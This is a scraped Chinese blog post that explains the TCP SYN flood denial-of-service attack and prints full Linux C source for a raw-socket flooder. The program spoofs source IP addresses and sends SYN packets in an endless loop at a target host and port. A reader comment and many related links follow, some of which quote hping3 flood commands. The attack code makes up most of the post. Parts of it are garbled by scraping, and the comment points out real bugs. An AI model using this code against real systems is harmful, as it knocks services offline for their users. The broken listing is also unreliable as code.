原 SynFlood--Ddos洪泛攻击（linux c）

2013年03月21日 18:49:50

首先，synflood攻击是一中拒绝服务攻击，它算得上是最常见的一中dos拒绝服务攻击攻击手段。原理在上一篇中也有提到过，就是在短时间内向目标主机发送大量的syn请求，大家都知道tcp是面向连接的，在建立连接时，若正常通过三次握手过程，则连接就建立了，但是恶意攻击者会刻意伪造ip地址，使得受攻击的主机得不到第二次握手，只能不断的为到来的syn分配内存，并发送syn+ack，就这样一直等不到第三次握手的ack确认。

```
/*************************************************************************/
/*      synflood.c
/*      @2013-03-21
/*************************************************************************/
#include<stdio.h>
#include<errno.h>
#include<sys/time.h>
#include<sys/socket.h>//与套接字相关的函数声明和结构体定义
#include<netinet/in.h>//某些结构体的声明，宏定义如struct sockaddr_in
#include<netdb.h>//某些结构体定义，宏定义和声明如struct hostent
#include<ctype.h>
#include<sys/types.h>//包含很多类型重定义
#include<stdlib.h>
#include<arpa/inet.h>//某些函数声明如inet_ntoa()
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<string.h>

#define FAKE_IP "10.0.11.20"//伪装IP的起始值

typedef unsigned short ushort;
typedef unsigned char uchar;
typedef unsigned long ulong;
typedef unsigned int uint;

int FakeIpNet;
int FakeIpHost;
int SendSEQ;//发送序列号

static inline long myrandom(int begin,int end)
{
   // int gap = end - begin + 1;
    int ret = 0;
    //随机种子
    srand((unsigned)time(NULL));
    ret = rand() % end + begin;//产生一个介于begin 和 end之间的值
    return ret;
}
//校验和的计算
static ushort chksum(ushort *data,ushort length)
{
    int nleft = length;
    int sum = 0;
    ushort *word = data;
    ushort ret = 0;
    //计算偶数字节
    while(nleft > 1)
    {
        sum += *word++;
        nleft -= 2;
    }
    //如果位奇数，将最后一个字节单独计算，剩余的一个字节位高字节构建一个short类型变量值
    if(nleft == 1)
    {
        *(uchar *)(&ret) = *(uchar *)word;
```

```
    //折叠
        sum = (sum >> 16)+(sum & 0xffff);
    sum += (sum >> 16);
    //取反
    ret = ~sum;
    return (ret);
}

void sendsynfunc(int sockfd,struct sockaddr_in *addr)
{
    int count;//统计发送循环次数
    char buf[40];//校验和计算
    char sendBuf[100];
    struct ip *ip;
    struct tcphdr *tcp;
    struct prehdr//tcp伪首部
    {
        struct sockaddr_in sourceaddr;//源地址
        struct sockaddr_in destaddr;//目标地址
        uchar zero;
        uchar protocol;
        ushort length;
    }prehdr;
   int len = sizeof(struct ip)+sizeof(struct tcphdr);
    //开始填充ip与tcp首部
   bzero(buf,sizeof(buf));
   bzero(sendBuf,sizeof(sendBuf));
   ip = (struct ip *)sendBuf;//指向发送缓冲区的头部
   ip->ip_v = 4;
   ip->ip_hl = 5;
   ip->ip_tos = 0;
   ip->ip_len = htons(len);
   ip->ip_id = 0;
   ip->ip_off = 0;//由内核填写
   ip->ip_ttl = myrandom(128,255);
   ip->ip_p = IPPROTO_TCP;
   ip->ip_sum = 0;
   ip->ip_dst = addr->sin_addr;//目的地址，即攻击目标
   printf("ipheader fill finished\n");
   tcp=(struct tcphdr*)(sendBuf+sizeof(struct ip));//获取指向TCP头部的指针
   tcp->seq = htonl((ulong)myrandom(0,65535));
   tcp->dest = addr->sin_port;//目的端口
   tcp->ack_seq = htons(myrandom(0,65535));
   tcp->syn = 1;
   tcp->urg = 1;
   tcp->window = htons(myrandom(0,65535));
   tcp->check = 0;//校验和
   tcp->urg_ptr = htons(myrandom(0,65535));
   //循环发送
   while(1)
   {
       if(SendSEQ++ == 65535)
            SendSEQ = 1;//序列号循环
       //更新ip首部
       ip->ip_src.s_addr = htonl(FakeIpHost+SendSEQ);//每次随机产生源ip地址
       ip->ip_sum = 0;
       //更新tcp首部
       tcp->seq = htonl(0x12345678+SendSEQ);
       tcp->check = 0;
       // ip->ip_src.s_addr = myrandom(0,65535);
       printf("source addr is :%s\n",inet_ntoa(ip->ip_src));
       printf("dest addr is :%s\n",inet_ntoa(addr->sin_addr));
       printf("\n============================\n");
       //tcp伪首部数据填充
       prehdr.sourceaddr.sin_addr = ip->ip_src;
       prehdr.destaddr.sin_addr = addr->sin_addr;
       prehdr.zero = 0;
       prehdr.protocol = 4;
       prehdr.length = sizeof(struct tcphdr);
       //封装tcp首部与伪首部至buf;
       memcpy(buf,&prehdr,sizeof( prehdr));
```

```
129         memcpy(buf+sizeof( prehdr),&tcp,sizeof(struct tcphdr));130
    tcp->check = chksum((u_short *)&buf,12+sizeof(struct tcphdr));//校验和计算131         //封装ip和tcp首部数据包至sendBuf
132         memcpy(sendBuf,&ip,sizeof(ip));
133         memcpy(sendBuf+sizeof(ip),&tcp,sizeof(tcp));
134         sendto(sockfd,sendBuf,len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr));
135     }
136 }
137 int main(int argc,char *argv[])
138 {
139     struct sockaddr_in addr;//目标主机地址
140     int sockfd;
141     struct hostent *host;
142     int on = 1;
143     int ret;
144     if(argc < 3 || argc > 3)
145     {
146         printf("usage:synflood desthostip desthostport\n");
147         return 1;
148     }
149     bzero(&addr,sizeof(adc
150     addr.sin_family = AF_I
151     addr.sin_port = htons(atoi(argv[2]));
152     //伪装ip
153     FakeIpNet = inet_addr(FAKE_IP);
154     FakeIpHost = ntohl(FakeIpNet);
155
156     if((ret = inet_aton(argv[1],&addr.sin_addr)) != 0)
157     {
158         if(( host = gethostbyname(argv[1])) == NULL)
159         {
160             printf("desthost name error:%s %s \n",argv[1],hstrerror(h_errno));
161             return 1;
162         }else{
163             memcpy((char *)&addr.sin_addr,(host->h_addr_list)[0],host->h_length);
164         }
165         //设置原始套接字，并设置选项为IP选项
166         sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//root身份才可成功执行
167         if(sockfd < 0){
168             printf("socket error\n");
169             return 1;
170         }
171         //IP_HDRINCL在数据中包中包含ip首部
172         setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
173         setuid(getpid());
174         sendsynfunc(sockfd,&addr);
175     }
176         return 0;
177 }
```

这里值得一提的是，因为我们创建的是原始套接字SOCK_RAW（这样可以接收本机网卡上的数据帧或者数据包），所以一定要以root身份来执行该程序，否则套接字无法创

个人分类： 网络编程

上一篇 SynFlood---Ddos洪泛攻击（VC6.0）

下一篇 基于tcp的简单socket通信

pirongbing0020 2018-02-05 14:28:31 #1楼

错误好多的感觉 1.sendto(sockfd,sendBuf,len,0,(struct sockaddr *)&addr,sizeof(struct sockaddr)); addr本身就是个指针了，不要加&了 2.memcpy(sendBuf,&ip,sizeof(ip memcpy(sendBuf+sizeof(ip),&tcp,sizeof(tcp)); 都让ip指向sendBuf了，你还copy一次，自己拷贝自己吗 3.chksum((u_short *)&buf,12+sizeof(struct tcphdr)); 这里&buf是 接越界了

【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

 6897

一.原理1、TCP握手协议第一次握手：建立连接时，客户端发送syn包(syn=j)到服务器，并进入SYN_SEND状态，等待服务器确认；第…

TCP三次握手报文 实例详解&&syn flood C/C++ 完整代码实现

 7847

先大概说一下 TCP三次握手

Linux的SYN FLOOD - CSDN博客

SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23 * gcc -o syn_test -O3 syn_test.c * change log…

LINUX对 SYN Flood 攻击的设置[摘] - CSDN博客

如果对 /proc/sys/net/ipv4 下的配置文件进行解释,可以参阅 LinuxAid技术站的...TCP SYN Flood是一種常見,而且有效的遠端(遠程)拒絕…

TCP洪水攻击（SYN Flood）的诊断和处理

 1711

1. SYN Flood介绍 前段时间网站被攻击多次，其中最猛烈的就是TCP洪水攻击，即SYN Flood。 SYN Flood是当前最流行的DoS（拒绝…

kali syn flood 简单尝试 - CSDN博客

sudo hping3 --flood -S -p 9999 x.x.x.x #random source address sudo...Kali Linux渗透测试 125 拒绝服务--Syn-Flood攻击 本文记录 Kal…

Linux下synflood源码

*版权证明: 只允许上传png/jpeg/jpg/gif格式的图片,且小于3M *详细原因: 取 消 提 交 Linux下synflood源码 3积分 立即下载 ...

利用防火墙来防止SYN Flood攻击(转)

 1891

DoS（Denial of Service拒绝服务）和DDoS（Distributed Denial of Service分布式拒绝服务）攻击是大型网站和网络服务器的安全威胁…

SYN-Flood遭遇战——Linux内核SYN-Cookie实现探究

 2346

SYN Flood好使啊，成本低廉，简单暴力，杀伤力强，更重要的是：无解，一打一个准！这种攻击充分利用了TCP协议的弱点，可以很…

多线程自动化SynFlood[Linux下源码]

*版权证明: 只允许上传png/jpeg/jpg/gif格式的图片,且小于3M *详细原因: 取 消 提 交 多线程自动化SynFlood[Linux下源码] 3积分 立即…

SYN-Flood遭遇战——Linux内核SYN-Cookie实现探究 - CSDN博客

SYN Flood好使啊,成本低廉,简单暴力,杀伤力强,更重要的是:无解,一打一个准!...来看看Linux2.6内核中的SYN Cookie功能是如何实现的…

ICMP Flood 攻击、UDP Flood 攻击、SYN Flood 攻击

 2506

ICMP Flood 攻击检测、UDP Flood 攻击检测、SYN Flood 攻击检测、连接数限制和扫描攻击检测。 ICMP Flood攻击检测 短时间内向…

syn flood源码 - CSDN博客

SynFlood--Ddos洪泛攻击(linux c) 首先,synflood攻击是一中拒绝服务攻击,它算得上是最常见的一中dos拒绝服务攻击攻击手段。原理在…

LINUX 服务器遭到SYN FLOOD攻击 - CSDN博客

http://www.csna.cn/viewthread.php?tid=4658 LINUX下SYN攻防战 (一)SYN攻击原理 SYN攻击属于DOS攻击的...

剖析SYN Flood攻击（一）

 505

这是一篇旧的文章。但是很经典。网络上很少有全文的。一般都是前两章。即所谓的上卷。这次集合成全文。方便查阅收藏。估计…

SYN-Flood

 196

1. 如何构造 SYN 包？ raw socket 2. SYN-Cookie 3. kern.log 4. /var/log 目录下各种日志的含义...

SYN flood及其应对方法 209

SYN flood

安全性测试：SYN flood网络攻击 501

1 SYN Flood攻击介绍： 拒绝服务攻击（Denial of Service，DoS）是目前比较有效而又非常难于防御的一种网络攻击方式，它…

win_pcap模拟syn_flood攻击 1197

syn_flood攻击得原理很简单，通过向目的主机发送大量建立TCP连接得请求，但源IP地址是乱填的，所以本机不会收到TCP应答，而…

LINUX对 SYN Flood 攻击的设置[摘] 4618

摘于http://www.cublog.cn/opera/showart.php?blogid=12384&id=107049网页在翻页到一个特定的页面的时候，和服务器80端口的连接…

TCP三次握手协议和SYN攻击以及DDOS简介 2580

一.TCP的三次握手协议： 第一次握手：主机A发送位码为syn = 1,随机产生seqnumber=1234567的数据包到服务器，主机B由SYN=1知…

DDoS的攻击原理与防御方法 1.9万

DDoS的攻击原理与防御方法 不可不知DDoS的攻击原理与防御方法 DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distri…

ddos之icmp洪泛攻击源代码 1700

声明： 该内容旨在分析网络攻击的存在形式，并不是为了鼓励大家使用文中的方式去攻击别人的计算机和网络。技术是为了造福…

flooding - 洪泛 821

英文： Flooding 中文： 洪泛、泛洪 介绍： 当某个节点收到一个不是发给它的分组时，==就将该分组转发到所有与该节点相连的链路…

使用Scapy制造SYN洪泛攻击 256

#!/usr/bin/python #coding=utf-8 from scapy.all import * import optparse def synFlood(src, tgt): ...

MAC泛洪攻击实现简略版 432

一、环境搭建 二、实现步骤 1、主机C（攻击机）的IP查询和ARP表查询： 主机A（服务机）的IP查询和ARP表查询： 主机B（客户机…

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇 644

对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇 //==========…

C语言实现基于SYN洪泛的DoS攻击 2689

这是一个C语言程序，C语言实现基于SYN洪泛的DoS攻击。其中，启动传入参数第一个是伪造源地址，第二个是目的地址，第三个是…

syn攻击源代码 1395

一、linux下源代码实现 /* syn flood by wqfhenanxc. * random soruce ip and random sourec port. * use #inc...

C++ SYN攻击源码 1369

// DOS.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include #include #include #pragm...

SYN flood C源代码 下载 2018

SYN flood是属于DOS攻击的一种典型方式,其发生方式就出现在TCP连接的三次握手中...但如果有一个恶…

浅谈原始套接字 SOCK_RAW 的内幕及其应用（port scan, packet sniffer, syn flood, i… 1.8万

一、SOCK_RAW 内幕 首先在讲SOCK_RAW 之前，先来看创建socket 的函数： int socket(int domain, int type, int protocol); doma...

SYN Flood攻击 58

SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service，拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽，停止响应正常的TCP…

MAC泛洪攻击和防御 5431

1. 什么是mac地址泛洪攻击？ 交换机中存在着一张记录着MAC地址的表，为了完成数据的快速转发，该表具有自动学习机制；泛洪攻…

TCP SYN洪泛攻击的原理及防御方法 507

尽管这种攻击已经出现了十四年，但它的变种至今仍能看到。虽然能有效对抗SYN洪泛的技术已经存在，但是没有对于TCP实现的一个…

inviteflood -SIP/SDP 泛洪攻击 3984

0x00前言 会话发起协议（Session Initiation Protocol，缩写SIP） 会话描述协议（Session Description Protocol或简写SDP）描述的是…

SYNFlood_洪泛_攻击的检测与防范

2008年10月13日 200KB 下载

个人资料

zhiy_wis

原创	粉丝
61	10

等级： 博客 4 访问

积分： 1774 排名

最新文章

python发送邮件（含附件）

将wordpress文章分享到q

微博分享各类规格代码

cookie加密解密函数

解决checkbox未选中不传

归档

2015年10月

2014年12月

2014年7月

2014年6月
2014年5月
展开

热门文章

PHP判断字符串str中是否
阅读量：16426

解决checkbox未选中不传
阅读量：9223

校园招聘--百度笔试
阅读量：3081

SynFlood--Ddos洪泛攻击
阅读量：3042

wireshark网络抓取数据包
阅读量：2823

最新评论

解决checkbox未选中不传
HeartToo：666 解决问题啦

进程PCB管理与调度程序
qsyjlscl：大佬

python练习--360搜索关键
xiaoran668：如果不想用Pytho
他办法可以解决开发爬虫过程
码等繁琐操作吗？...

SynFlood--Ddos洪泛攻...
pirongbing0020：错误好多的
d,sendBuf,len,0,(struct soc...

基于信号量机制的进程同
zhiy_wis：[reply]lchad[/reply]